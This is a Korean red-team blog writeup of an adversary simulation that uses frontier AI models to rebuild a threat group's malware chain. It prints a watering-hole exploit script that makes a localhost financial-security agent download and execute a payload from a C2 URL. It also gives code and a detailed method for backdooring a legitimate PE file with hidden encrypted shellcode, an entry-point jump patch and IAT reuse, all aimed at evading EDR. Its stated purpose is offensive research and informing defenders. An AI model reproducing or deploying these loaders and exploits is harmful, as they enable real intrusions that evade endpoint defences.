### 목적 & 기여

따라서, Operation Triple Barrel의 목적과 기대하는 기여점은 두 가지입니다.

1. 실제 공격자 시뮬레이션 경험이 있는 오퍼레이터가 AI를 활용할 경우, 어떤 수준의 악성코드를, 얼마나 빨리 만들 수 있는지 직접 보여주는 것.
2. 실제 레드팀 작전에서 쓰이는 Maldev/Capdev, C2 고도화, 방어 회피에는 어떤 개념과 기법, 코드가 사용되고, 이를 어떻게 개발하는지를 공유해 국내 레드팀, 퍼플팀, 탐지공학 업계 발전에 기여하는 것.

### 방법론

Operation Double Barrel 보고서에 나온 악성코드와 TTP를 분석하고, 이를 재구현하는 방식으로 진행했습니다. Private IoC 특성상 실제 샘플을 구할 수 없기 때문에 리버싱은 하지 못했습니다. 보고서에 나와 있는 하이레벨의 정보를 바탕으로, 개인적인 판단을 적용해 공격자의 TTP를 재구현하는 Adversary Simulation을 했습니다.&#x20;

보고서 자체가 공격자들의 오퍼레이션 정보보다 악성코드 분석에 치중되어 있어, 이번 프로젝트도 자연스럽게 Maldev/Capdev 중심이 됐습니다.

그 외, 다음과 같은 방법들을 사용해 오퍼레이션 트리플 배럴을 진행했습니다:&#x20;

* 시중 Frontier Lab들의 AI 모델 사용, 손코딩은 최소화
* 하네스 제작, 악성코드 디자인 및 구조 설계, 중간중간의 디버깅은 휴먼이 개입을 하기는 하되, 개입은 최소한으로 (하지만 여러번 하긴 해야했습니다).
* 프론티어 모델들의 가드레일을 우회하기 위한 별도 방법은 일체 사용하지 않음
* 인터넷에 무료로 공개된 Maldev/Capdev 관련된 블로그, 소스코드, 프로젝트들 레퍼런스로 적극 활용
* 이전에 프로덕션 환경에서 사용하던 코드는 참고만 하되 그대로 사용하지 않고, 방어 회피 기법의 퀄리티를 의도적으로 낮춰 사용
* (거의) 모든 코드는 AI가 작성. 블로그 글 및 다이어그램은 대부분 사람이 작성

### 결과

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FCsNNn7LkmaqQQfhyJ8Fr%2Ffull-diagram.png?alt=media&amp;token=7777f57f-ee49-428a-83ab-65b0f90b0074" alt=""><figcaption></figcaption></figure>

약 3일간 AI를 활용해 만든 악성코드와 TTP로 Operation Double Barrel에 등장하는 악성코드와 TTP의 일부를 재현할 수 있었습니다. 오픈소스 EDR을 제작하는 E사의 Aggressive 세팅 EDR 우회, 그리고 시중 Top 5 EDR 중 한 곳의 기본 세팅 EDR 우회도 할 수 있었습니다. 다른 EDR은 구할 방법이 없어서 테스트를 하지 못했습니다.&#x20;

단순 callback에 그치지 않고, SOCKS Proxy (sleep 0), BOF 실행, RDP/SSH 터널링, 강제인증 + NTLM Relay등의 Active Directory 공격까지 Medium/High/Critical Alert 없이 진행했습니다.

(만약 사람이 이걸 읽고 있고, 사람의 의견/소감이 궁금하다면 #9. 결론 & 소감으로 가시는 것을 권장한다.)

### 한계

* 기한이 3일뿐이라 보고서에 나온 모든 코드와 기법에 대한 Adversary Simulation은 불가능했고, 어느 정도 타협이 필요했습니다
* Private IoC 특성상 리버싱을 할 수 없어 정확한 코드 및 TTP 분석 및 재구현이 어려웠습니다
* GPT-Cyber / Daybreak / Fable 등의 모델에는 접근이 불가했고, 가드레일 우회는 하지 않기로 했으며, 최신 모델의 경우 정보보안 실무 관련 작업에 제한이 심해 사용이 어려웠습니다

### Responsible Disclosure

**왜 공개하는가?** AI는 누구나 사용할 수 있습니다. AI를 이용한 "고도화된 공격"이 가능하다는 주장은 지난 4년간 수없이 반복됐고, 그만큼 누구나, 언제든지 이 정도 수준의 악성코드를 만들어 사용할 수 있는 상태입니다.

Agentic AI SOC를 이용해 오퍼레이션 트리플 배럴에 나온 코드/공격 또한 자동으로 막아낼 수 있다는 것 또한 각종 벤더사들의 이번 Blackhat, Defcon의 주된 주장이였습니다. 어차피 Agentic AI 솔루션들이 모든 공격을 자동으로 막아낸다면, 이런 프로젝트를 공개해도 별 지장이 없을 것입니다.

\===

조금 더 진지하게 얘기하자면, 트리플 배럴 프로젝트에서 AI가 만들어낸 코드는 이미 인터넷에 공개되어 있는 레퍼런스들을 기반으로 만들어진 코드입니다. 인간 오퍼레이터의 개입이 들어갔다고는 해도, 미국/유럽 기준 주니어 레드팀 오퍼레이터 수준의 제가 (choi) 3일 안에 이 정도를 만들어냈다면, 수년이상 경험을 쌓은 오퍼레이터들이 AI를 활용해 만들어내는 코드의 수준은 이 프로젝트와는 비교도 되지 않을 것입니다. 그에 비하면 공개해도 무방한 수준의 퀄리티라고 판단해 공개합니다.


# 2. 환경 설정

## 환경

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FkBt20BiXgcmMQMURSuRt%2Fop-triple-barrel-infra.png?alt=media&amp;token=e03ad65f-8649-4284-a776-b52b9af4e131" alt=""><figcaption></figcaption></figure>

오퍼레이션 트리플 배럴이 제작된 인프라다. 특별할 것은 없지만, 어떤 환경, OS, 솔루션, 방법을 이용해 트리플 배럴이 제작됐는지 맥락을 파악하기 위해서 준비한 다이어그램이다.&#x20;

### 대상

* OS: 하이퍼바이저에서 실행중인 최신 버전의 윈도우 서버 2022
* AV/EDR: Elastic Premium, v.9.4.2 (EDR) + Windows Defender 최신 버전 (AV)
* 콜백: 대상 PC -> AWS Cloudfront -> SSH Reverse Port Forwarding -> 공격자 팀서버

### Elastic

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F5WYrkvlfrvYvLGyRD8S6%2Fimage.png?alt=media&amp;token=0b6a78e7-d618-45ef-9ace-2907efa25b15" alt=""><figcaption></figcaption></figure>

EDR은 기본적으로 Prevention은 비활성화하고, Detection만 활성화했다. 물론, 둘 다 같은 성능을 보여주기 때문에 큰 상관은 없다.&#x20;

**SIEM Policy**

* Elastic + Elastic Security, v9.4.2, Premium 라이센스 30일 무료 평가판 사용&#x20;
* SIEM 룰에서 `Memory, Kerberos, Credentials, Tickets, Powershell, "Defend", NTLM, Token` 활성화&#x20;
* 약 \~283개의 SIEM 룰 활성화&#x20;

**Agent Policy**&#x20;

* Malware Protections 활성화
* Ransomware Protections 활성화
* Memory Threat Protections 활성화
* Malicious Behavior Protections 활성화
* Attack Surface Reduction - Credential Harvesting 활성화
* Event Collection 모두 활성화

### Windows Defender&#x20;

기본적인 윈도우 디펜더를 AV 대신 사용했다. 최신 버전으로 업데이트 한뒤, Real-time Protection과 Cloud-delivered protection 모두 활성화 했다.&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FWNJlhUi8v2zritIOtvEb%2Fimage.png?alt=media&amp;token=1ae823d8-96d0-4b38-b12a-0fa5254970b4" alt=""><figcaption></figcaption></figure>

### 공격 시나리오 & 탐지/대응&#x20;

추후 `Operation` 섹션에서 더 나오겠지만, 오퍼레이션 트리플 배럴은 단순하게 에이전트 콜백을 받았다고 해서 끝이 아니라, 콜백 이후 내부 정찰, AD 권한 상승 공격, RDP/SSH 터널링, 횡적 이동까지 다양하게 진행했다.&#x20;

보고서에 나온 코드와 기법들은 모두 EDR이 없거나 무력화된 대상으로 사용된 것들이 많아서, 아이러니하게도현실적이지만 현실적으로 보기가 어렵다. 모든 레드티머들이 AV/EDR 없이 보안을 신경쓰지 않는 회사를 대상으로 침투를 수행하는 것도 아니고, 고객사에 들어가자마자 EDR 내려버리고 4주동안 업무를 할 수도 없기에, 일단은 최대한 방어 회피 기법들을 챙기되, 필요한 경우에는 따로 툴 개발을 통해 EDRChoker/EDRSilencer 등의 도구를 사용했다.&#x20;


# 3. Financial Security Software I

### 들어가기 앞서 - 주의사항

> 본 프로젝트에서는 FSS-I과 관련된 실제 취약점이나 익스플로잇은 일체 사용되지 않았습니다. 공개된 보고서 정보를 바탕으로 AI를 활용해 일부러 취약한 소프트웨어를 제작한 것이며, 실제 소프트웨어와는 일체 관련이 없습니다.

### 코드&#x20;

<https://github.com/ChoiSG/Operation-Triple-Barrel/tree/main/financial-security-software-I>

### Demo

{% file src="/files/R4JFBDc7SfPbgS1VpCGn" %}

### 개요

본 프로젝트는 AI를 활용한 Maldev/Capdev에 초점이 맞춰져 있고, 초기 침투 때 어떤 취약점이 사용됐는지는 사실 크게 중요하지 않다. 이 취약점이 아니더라도 AI로 수많은 취약점, 제로데이, N-day를 찾아내거나 활용할 수 있고, 취약점이 아니라 사회공학적 공격을 통해 초기 침투하는 것이 훨씬 더 효과적이기 때문이다.

따라서, 본 프로젝트에서도 워터링 홀을 비롯한 FSS-I 관련 취약점 및 익스플로잇은 최소한으로 다뤘다. PoC 및 초기 침투용 체인을 만든다는 것에만 초점을 뒀다. 작전 보안이나 익스플로잇 개발(FSS-A의 버퍼오버플로우 등)은 Maldev/Capdev라고 보기 어렵고, AI를 활용한 취약점 연구 및 익스플로잇 개발은 이미 많이 이뤄지고 있기 때문에 본 프로젝트에서는 다루지 않는다.

### FSS-I

보고서 내용에 따르자면 FSS-A, FSS-I는 모두 유저들의 엔드포인트에 설치되는 소프트웨어며, 설치 후 로컬호스트에 웹소켓을 열고, 정상 홈페이지에 방문한 뒤 웹서버와 소통하며 보안 관련 기능을 수행하는 것으로 추정된다.

이런 경우, 대부분 프로그램이 실행될 때 웹소켓이 같이 열리게 된다.

```csharp
// financial-security-software-I/FssAgent/Program.cs:13~24
var server = new WebSocketServer("http://127.0.0.1:4441/");
await server.RunAsync(cts.Token);
```

대부분의 경우 웹소켓을 열더라도 도메인 화이트리스트를 하거나, 토큰등을 요구하는 경우가 있지만, 더블 배럴 보고서에 나온 것처럼 그냥 완전히 해당 웹소켓을 열어놓고 그 어떠한 연결을 받아주는 경우도 있다.

이렇게 웹소켓으로 들어오는 데이터는 UTF-8로 디코딩된 뒤, `CommandHandler`로 넘어간다.

```csharp
// financial-security-software-I/FssAgent/WebSocketServer.cs:50~58
var result = await ws.ReceiveAsync(buffer, ct);
var message = Encoding.UTF8.GetString(buffer, 0, result.Count);
var response = await _handler.HandleAsync(message);

// financial-security-software-I/FssAgent/CommandHandler.cs:13~50
root = JsonDocument.Parse(message).RootElement;
root.TryGetProperty("cmd", out var cmdProp);
var cmd = cmdProp.GetString();

return cmd switch
{
    "getVersion" => Ok(new { version = "3.3.2.41", product = "FinSecI" }),
    "getStatus"  => Ok(new { running = true, pid = Environment.ProcessId, ... }),
    "getCertInfo" => Ok(new { issuer = "FSSIVendor", valid = true, ... }),
    "update"     => await HandleUpdateAsync(root),
    _ => Error($"Unknown command: {cmd}")
};
```

`CommandHandler`에서는 JSON을 파싱하고, `cmd` 필드에 따라 각각의 명령어를 실행한다. 정상적인 형태라면 백엔드 서버가 원하는 명령어를 내리고, 클라이언트단의 에이전트는 해당 명령어를 잘 받아서 실행만 하면 되는 구조다.

하지만 위에서처럼 `... 그냥 완전히 해당 웹소켓을 열어놓고 모든 연결을 받아주는 경우`가 있다면, 바로 보고서에 나왔던 것처럼 워터링홀/스피어피싱 + 악성 자바스크립트를 통한 공격이 가능해진다.

특히 페이지 35의 다이어그램처럼 Struggle 초기 침투 사례의 경우, FSS-I 익스가 터진 뒤 "Download & Execute"를 통해 Struggle 백도어를 다운받고 실행하는 형태다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FawCnZDotaHn1SnlvMuKc%2Fop-db-figure27.png?alt=media&amp;token=b8972b8e-7198-4265-89bc-3a0392e083b6" alt=""><figcaption></figcaption></figure>

페이지 32에서는 "취약점을 악용한 후 백도어 악성코드인 Struggle을 Microsoft 정상 프로세스에 인젝션하여 실행한 것으로 확인되었다"라고 했지만, 페이지 34에는 "워터링 홀 기법을 통해 Struggle을 다운로드 및 실행한 것으로 확인되었다"라고 적혀 있어, 정확히 취약점 익스 → 프로세스 인젝션이 이뤄진 것인지, 아니면 취약점 익스 → Struggle 다운로드 및 온디스크 실행인지는 확실치 않다.

하지만 페이지 34의 "Type A"에서 Struggle DLL은 어쨌든 AppleWin으로 위장한 PE 바이너리 속에 내장되어 있던 것으로 보아, 취약점 익스가 바로 RCE까지 터지는 형태가 아니라, 단순한 파일 다운로드/실행만 가능한 경우였을 수도 있다.

어찌 됐건, 개요에서 언급한 대로 취약점에 너무 매몰되지 않기 위해 일단은 페이지 34, 35를 기반으로 취약점 익스 → 파일 다운로드 → 파일 실행이라는 흐름으로 구현했다. 이 흐름은 이런 종류의 소프트웨어들이 업데이트를 진행할 때 나오는 패턴이기도 해서, 나름 현실성이 있다고 판단했다.

취약한 `update` 커맨드 핸들러는 URL에서 파일을 다운로드한 뒤 바로 실행한다. 업데이트 파일에 대한 코드 서명 체크라던지, 별 다른 검증 없이 실행하기 때문에 여기서 익스가 터지게 된다.

```csharp
// financial-security-software-I/FssAgent/CommandHandler.cs:62~86
var url = urlProp.GetString()!;
var path = pathProp.GetString()!;
var exec = execProp.GetString()!;

Directory.CreateDirectory(path);
await Downloader.DownloadAsync(url, path);

var execPath = Path.Combine(path, exec);
Process.Start(new ProcessStartInfo
{
    FileName = execPath,
    WorkingDirectory = path,
    UseShellExecute = false
});
```

익스플로잇은 간단하다. 피해자 호스트의 로컬호스트 웹소켓에 연결한 뒤, 에이전트가 살아있는지 확인하고, 공격자 서버에서 페이로드를 다운로드/실행하도록 `update` 커맨드를 보낸다. `Update` 커맨드의 포멧에 맞춰 cmd, url, path, exec을 설정한 JSON 페이로드를 전송하기만 하면 된다.

```javascript
// financial-security-software-I/exploit/exploit.js:13~42
var ws = new WebSocket("ws://127.0.0.1:4441/");

ws.onopen = function () {
    ws.send(JSON.stringify({ cmd: "getVersion" }));
};

ws.onmessage = function (ev) {
    var resp = JSON.parse(ev.data);
    if (stage === 0 && resp.status === "ok") {
        stage = 1;
        ws.send(JSON.stringify({
            cmd: "update",
            url: C2_URL,
            path: "C:\\ProgramData\\imonclient",
            exec: "AppleWin.exe"
        }));
    }
};
```

### 무기화

여기까지 준비했다면, 해당 익스 코드를 난독화한 뒤 HTML에 삽입하면 끝이다. 워터링 홀 페이지는 정상적인 블로그 글처럼 보이는 HTML로 만들었고, 익스플로잇 자바스크립트는 페이지 하단에 삽입된다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FKkMHK0HkWJWepJxNR9zj%2Fimage.png?alt=media&amp;token=54356dbf-81ae-4d04-9994-67c88bd7daf0" alt=""><figcaption></figcaption></figure>

공격자 인프라는 도메인 구입 → 에이징/카테고리화 → CDN까지 붙여놓은 뒤, 누구나 방문 가능하게 설정했다. 실제 작전이었다면 앞단에 Cloudflare Turnstile까지 붙였겠지만, 데모로서는 투머치라고 판단해 생략했다. 지금은 CDN과 도메인 모두 내려갔지만, 아무튼 이런 모습이었다:

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FAvMe4YyEPXlHUT3HqkQI%2Fimage.png?alt=media&amp;token=8e8401ff-59e1-4e69-9ab6-f847f4482009" alt=""><figcaption></figcaption></figure>

### 참고

크로미움 기반 브라우저들은 버전 141, 더 현실적으로는 버전 145부터 기본적으로 Local Network Access가 차단된다. 특정 웹사이트에서 클라이언트의 로컬 네트워크에 요청을 날릴 때 브라우저단에서 허용/금지를 묻는 메시지를 띄우게 한 것이다. 물론 사회공학적 기법으로 우회하는 방법이 있을 수 있고, 빨리빨리를 중시하는 우리나라에서는 별거 아닌 듯이 바로 허용을 누르는 경우도 있겠지만, 어쨌든 이런 종류의 취약점을 막는 데에는 효과적이다. 다만 Operation Double Barrel은 2025년에 이뤄진 공격이기 때문에, 피해자들의 브라우저가 아무리 최신 버전이었다 해도 아무런 경고 없이 바로 익스됐을 것이다.


# 4. Barrel-Giga 쉘코드 로더

## Shellcode Loader - Barrel Giga

### 코드

<https://github.com/ChoiSG/Operation-Triple-Barrel/tree/main/barrel-giga>

### Demo

{% file src="/files/fN6EIid3pKzWf6QT0uej" %}

### 개요

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FAB2al6GxDovas0xnlvkn%2Ffull-diagram.png?alt=media&amp;token=48383ebe-ecdc-48b8-8e69-74ce3a054d6a" alt=""><figcaption></figcaption></figure>

오퍼레이션 더블 배럴 보고서 기준으로, 오퍼레이션 트리플 배럴에서 구상한 악성코드 구조는 위와 같다.

1. **트리거:** FSS-I 소프트웨어의 취약점을 악용한 JSON 페이로드로, AppleWin.exe를 공격자 서버에서 다운받은 뒤 실행한다.
2. **쉘코드 로더:** 백도어인 Struggle이 안에 "내장되어 있는", 정상 프로그램 AppleWin.exe으로 위장한 PE 바이너리. #1번의 트리거가 이 쉘코드 로더를 다운 받은 뒤, 실행한다.
3. **UDRL (User-Defined Reflective Loader):** Reflective DLL Loading 기법을 활용해 메모리상에서 DLL 형태의 Struggle을 다시 한 번 로드하는 코드.

본 페이지에서는 #2번 - 쉘코드 로더와 이를 자동으로 만들어주는 파이프라인인 Barrel-Giga에 대해서 알아본다.

### 쉘코드 로더 (Shellcode Loader)

EDR/NDR 등의 보안 통제가 없는 호스트만 노리는 소수의 APT 그룹들을 제외하면, 현대 윈도우 엔드포인트에서 파워쉘/.NET 기반 인메모리 전용 공격은 갈수록 어려워지고 있다. 결국 돌고 돌아, 전통적인 on-disk 바이너리 드랍으로 돌아가는 추세다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F6IjjC4BO5vedUOsgG0Uk%2Ftype-a.png?alt=media&amp;token=4f20708a-786d-49b6-8920-05cbf4225bed" alt=""><figcaption></figcaption></figure>

보고서 34페이지에서 나온 바이너리 역시 온디스크에 드랍되는 형태였다. Struggle 에이전트를 DLL로 컴파일한 뒤 UDRL과 함께 하나의 쉘코드로 만들고, 이를 AppleWin이라는 정상 소프트웨어로 위장한 바이너리 안에 암호화하여 삽입했다. FSS-I 익스플로잇이 성공하면 이 바이너리가 디스크 위에 다운로드 및 실행되며, 내부의 UDRL이 Struggle 백도어를 메모리에 로드하여 실행하는 구조였다.

정상 바이너리에 "백도어"를 만들어 쉘코드를 그 안에다 숨긴 뒤, 바이너리가 시작할 때 정상 코드가 아니라 공격자의 쉘코드를 실행하는 방식이다. 바이너리 백도어는 굉장히 오래된 기법이다. 하지만, 이 "PE파일 백도어" 라는 것은 정확히 어떻게 하는걸까? 2026년 기준, 업계 탑 EDR 솔루션들을 우회할 수 있는 바이너리 백도어 기법들에는 어떤 것들이 있을까?

### Barrel-Giga 개념

```
쉘코드 로더(AppleWin.exe) → 암호화( 쉘코드( UDRL + Struggle Agent ) )
```

Barrel-Giga는 백도어된 정상 바이너리를 자동으로 생성해주는 빌드 파이프라인이다.

백도어 기법으로는 Maldev씬에서 유명한 [@dobin (Dobin Rutishauser)](https://blog.deeb.ch/posts/exe-injection/)의 Cordyceps 기법과, 이를 활용한 [SuperMega](https://github.com/dobin/supermega) 프로젝트를 참고했다.

Barrel-Giga를 통해 백도어된 PE 파일(AppleWin.exe)를 만들고, 이를 실행하면 다음과 같이 추가 악성코드들이 실행된다.

1. PE 안에 암호화되어 삽입된 쉘코드를 복호화
2. 복호화된 쉘코드를 실행 가능한 메모리 영역으로 이동
3. 쉘코드(UDRL + Beacon DLL)가 실행되며 UDRL → Struggle DLL 로딩

Barrel-Giga는 꽤 복잡하지만, 일반적인 쉘코드 로더 빌더들과 다른 점이 있다.

1. PE 구조 정보 사이의 빈 공간 활용
2. Cordyceps 기법 활용

이 두 가지에 대해서 알아보자.

### 1. PE 메타데이터 사이의 빈 공간 활용

전통적인 방식의 PE 백도어는 섹션을 추가하거나, 리소스 섹션을 사용하거나, PE 파일 바로 뒤에 페이로드를 붙이는 방식을 많이 사용한다.

Barrel-Giga의 경우 호스트 PE 파일의 쓰이지 않은 공간을 재활용해 특정 구간 구간들 사이의 빈 공간을 찾아서 쉘코드와 캐리어 코드를 (랜덤하게) 나누어 배치한다. 예를 들자면 Relocation 테이블, exception 디렉토리, CFG 테이블, export 함수 등등, PE 메나데이터 사이사이의 패딩이나 dead code zone 등을 찾아낸 뒤, 그 사이에 필요한 데이터를 집어넣는 형식이다.

### 2. Cordyceps 기법

Cordyceps 기법은 [@dobin (Dobin Rutishauser)](https://blog.deeb.ch/posts/exe-injection/) 이 만든, 파일 백도어에서 쉘코드를 실행 할 때 Windows API를 별도의 PEB Walking 없이, 이미 PE 파일 IAT 내에 존재하는 함수들을 정상적으로 재사용하는 기법이다.

기법에 대해서 더 알아보기 전에, Cordyceps 기법에서 자주 나오는 용어들을 한번 정리한다:

* **숙주 (Host)**: 쉘코드가 삽입되는 정상 PE 파일. 본 프로젝트에서는 보고서에 나온 [AppleWin.exe](https://github.com/AppleWin/AppleWin)을 사용한다.
* **페이로드 (Payload)**: 암호화된 상태로 숙주안에 삽입되는 쉘코드. 본 프로젝트에서는 이전 페이지에서 Barrel Kit으로 만든 UDRL + Adaptix C2 DLL 파일을 하나로 묶은 데이터다.
* **캐리어 (Carrier):**: 페이로드를 찾아내 복호화하고 Destination에 옮긴 뒤, 실행하는 PIC 형태의 소형 Loader. 숙주 PE의 `.text` 섹션에 배치된다. (C2 에이전트를 실행하는 UDRL을 실행하는 숙주 바이너리안의 또 다른 소형 Loader...)
* **Destination**: 복호화된 쉘코드가 쓰여지고 실행되는 `.text` 섹션 내 메모리 영역

#### **IAT Reuse - PEB Walk 없이 API 호출**

쉘코드는 PE 파일 구조를 띄고 있지 않은, 메모리에 올라간 PIC (Position Independent Code)다. 그렇기 때문에 IAT (Import Address Table)도 없다. 따라서 Win32 API를 호출하려면 PEB Walk(ing) 기법으로 API 주소를 직접 찾아야 한다. 프로세스의 PEB를 메모리상에서 찾고, `PEB` → `Ldr` → `InLoadOrderModuleList`를 순회하면서 `kernel32.dll`을 찾은 다음, export table에서 사용하고 싶은 함수 주소를 리졸브하는 방식이다. 쉘코드에서는 필수적인 기법이지만, 그만큼 잘 알려져 있고 시그니처가 많이 되어 있다.

Cordyceps는 PEB Walking을 하지 않고, 호스트 PE 파일에 이미 정의된 IAT를 그대로 빌려 쓴다. 동충하초가 숙주의 몸에서 그대로 자라나듯이(으악), 해당 PE 파일의 코드가 정상적으로 IAT의 함수를 호출하는 것과 똑같은 방식으로 API를 호출한다. Cordyceps의 매력은 "정상적"이라는 것이다. PE 파일내의 코드가 PE 파일 내의 IAT 함수를 호출해 사용하는 건, 정상적인 프로그램이라면 당연히 하는 일이다. 비정상적일게 없다.

PE 파일에서 코드가 IAT에 정의된 함수를 호출할 때, 실제로는 IAT 엔트리에 저장된 함수 포인터를 RIP-relative 간접 호출로 읽어서 실행한다.

```
; 일반적인 IAT 호출은 디스어셈블러에서 보면 이렇게 보이지만:
call    KERNEL32!VirtualProtect

; 실제 머신 코드를 까보면 이렇게 생겼다: 
FF 15 XX XX XX XX       ; call qword ptr [RIP + displacement]
```

이 displacement는 현재 명령어가 끝나는 주소(RIP)에서 `.rdata`(혹은 `.idata`)에 있는 IAT 엔트리까지의 상대적 거리다. `FF 15` 명령어는 6바이트이므로, `displacement = IAT 엔트리 RVA - (명령어 RVA + 6)`이 된다. PE의 모든 섹션은 하나의 이미지로 함께 로드되고, ASLR은 이미지 전체를 통째로 랜덤화하기 때문에 섹션 간의 상대적 거리는 변하지 않는다. 즉, `.text` 어디에 코드를 넣든 IAT 엔트리까지의 displacement만 정확히 계산해주면, ASLR과 무관하게 호스트의 IAT를 그대로 빌려서 API를 호출할 수 있게 된다.

결과적으로 Cordyceps로 만든 "캐리어"는:&#x20;

* PEB walk가 필요 없다! → 탐지 시그니처 제거
* `GetProcAddress` 호출이 필요 없다! → 의심스러운 API resolve 패턴 제거
* 호스트 PE가 이미 import하는 API를, 정상적인 코드마냥 그대로 (재)사용할 수 있다.

결과적으로 Cordyceps 기법이 들어간 PE 파일 (호스트/숙주 파일)은:

* 섹션 수, 섹션 이름, 섹션 크기가 원본과 동일하다
* PE 헤더, data directory, import/export 테이블이 정상이다
* 파일 크기가 원본과 굉장히 비슷하다
* 코드 서명은 깨지겠지만, Self-Signed 서명만 달아주면 나름 그럴듯해보인다 (물론 WDAC이나 Applocker는 패스 안되겠지만, 솔직히 우리나라에서 금융권/군/정보기관 제외하고 그정도까지 하는 곳이 별로 없다...)

### Barrel-Giga 작동 방식

#### 1. Host Layout 분석

가장 먼저 숙주(AppleWin.exe)의 PE 구조를 모두 분석한다.

```python
# planner.py - discover_host_layout()
PE의 모든 섹션을 파싱하고, 건드리면 안 되는 영역을 exclusion으로 마킹한다

건드리면 안 되는 것들:
- Data directory 영역 (import, export, exception, reloc, TLS, ...)
- Import 힌트 이름, IAT 엔트리
- Relocation 대상 주소
- Unwind info
- 엔트리포인트 함수 범위
- Export 함수 범위
- CFG 함수 테이블
- TLS 콜백 배열과 함수 범위
```

이 exclusion들을 전부 합쳐서 "어디에 WRITE 할 수 있는지"를 나타내는 목록을 만든다. AppleWin.exe의 경우, `.text`와 `.rdata` 섹션 곳곳에 수백 KB의 쓸 수 있는 공간이 남아있다. 이 공간에 페이로드와 캐리어 코드를 배치한다.

#### 2. Placement - 어디에 뭘 넣을것인가?

Barrel-Giga는 `split_image` 배치 모드를 사용한다. 세 가지를 각각 다른 위치에 배치해야 한다:

| 구성 요소                        | 위치                   | 이유                 |
| ---------------------------- | -------------------- | ------------------ |
| Encrypted payload (암호화된 쉘코드) | `.rdata` (read-only) | 정적 데이터처럼 보이게       |
| Destination (복호화 실행 영역)      | `.text` (executable) | 복호화 후 바로 실행할 수 있도록 |
| Carrier (로더 코드)              | `.text` (executable) | 코드 영역에 존재해야 실행 가능  |

실제 AppleWin 빌드에서의 배치 결과:

```
.text  섹션 (0x1000 ~ 0x169548)
  ├── [0x10000] destination: 129,378 bytes (복호화된 쉘코드가 여기로)
  ├── [0x163F80] carrier: 842 bytes (로더 코드)
  └── 나머지: AppleWin 원본 코드

.rdata 섹션 (0x16A000 ~ 0x1F5674)
  └── [0x1A7C00] payload: 129,378 bytes (XOR 인코딩된 쉘코드)
```

Placement planner는 각 candidate interval을 스코어링해서 최적의 위치를 선택한다. 패딩 바이트가 많은 곳(기존 dead code)을 우선 선택해서, 실제 실행되는 코드를 최소한으로 밀어낸다.

#### 3. Execution - 쉘코드를 실행하자

쉘코드를 PE 안에 숨겼으면, 이제 PE가 실행될 때 원래 코드가 아니라 캐리어 코드가 먼저 실행되도록 만들어야 한다. 가장 단순한 방법은 PE 헤더의 `AddressOfEntryPoint`를 캐리어 코드 주소로 바꾸는 것이다. 하지만 이러면 원본과 엔트리포인트가 달라지고, 너무 많이 사용된 기법인지라 바로 걸린다.

따라서 Barrel-Giga는 `function_backdoor` 기법을 사용한다. **엔트리포인트 RVA는 그대로 유지하되, 첫 번째 `call`/`jmp` 명령어를 캐리어로 향하는 `jmp`로 교체한다.**

AppleWin의 엔트리포인트 함수는 18바이트짜리 짧은 함수다:

```
0x12FE68:  엔트리포인트 시작 (AddressOfEntryPoint, 변경 없음)
0x12FE6C:  call 0x1300F4       ← 원본: 5바이트 (E8 83 02 00 00)
                               ← 패치: jmp carrier (E9 AF 3F 03 00)
```

원래 `call 0x1300F4`이던 5바이트가 `jmp 0x163F80` (캐리어 코드 시작 주소)으로 교체된다. `E8` (call) → `E9` (jmp), 주소만 바꾸면 된다. PE 헤더의 엔트리포인트는 `0x12FE68`로 동일하고, RUNTIME\_FUNCTION 메타데이터도 그대로다.

```python
# invocation.py:144-195 - find_backdoor_site()
for instruction in instructions:
    if (
        instruction.size != 5
        or bytes(instruction.bytes[:1]) not in {b"\xE8", b"\xE9"}
        or not instruction.operands
        or instruction.operands[0].type != capstone.x86.X86_OP_IMM
    ):
        continue
    rva = int(instruction.address) - image_base
    candidates.append(BackdoorSite(rva=rva, size=instruction.size, ...))

return min(candidates, key=lambda item: item.rva)
```

패치 할 곳을 찾았으면, `replacement()`가 캐리어 주소까지의 새 displacement를 계산해서 `E9` + rel32 바이트를 만든다.

```python
# invocation.py:43-49 - BackdoorSite.replacement()
def replacement(self, image_base: int, carrier_entry_rva: int) -> tuple[bytes, int]:
    displacement = rel32(
        image_base + self.rva,
        self.size, 
        image_base + carrier_entry_rva,
    )
    return b"\xE9" + struct.pack("<i", displacement), displacement

# fixups.py:30-36 - rel32()
def rel32(instruction_va, instruction_size, target_va):
    return target_va - (instruction_va + instruction_size)
```

#### 4. Cordyceps - IAT Fixup & Repair

위에서 설명한 Cordyceps 기법을 실제로 적용하는 단계. 캐리어 코드가 컴파일되면, 각 API 호출 위치에 placeholder가 들어가 있다. Barrel-Giga는 캐리어가 배치될 RVA와 호스트 IAT 엔트리의 RVA를 알고 있으니, 각 placeholder를 정확한 `call [RIP + displacement]`로 패치한다.

```
캐리어 코드 RVA 0x163FB0에서 VirtualProtect를 호출한다면:
  호스트 IAT의 VirtualProtect 엔트리 RVA: 0x16A508
  displacement = 0x16A508 - (0x163FB0 + 6) = 0x6552
  → FF 15 52 65 00 00   (call qword ptr [RIP+0x6552])
```

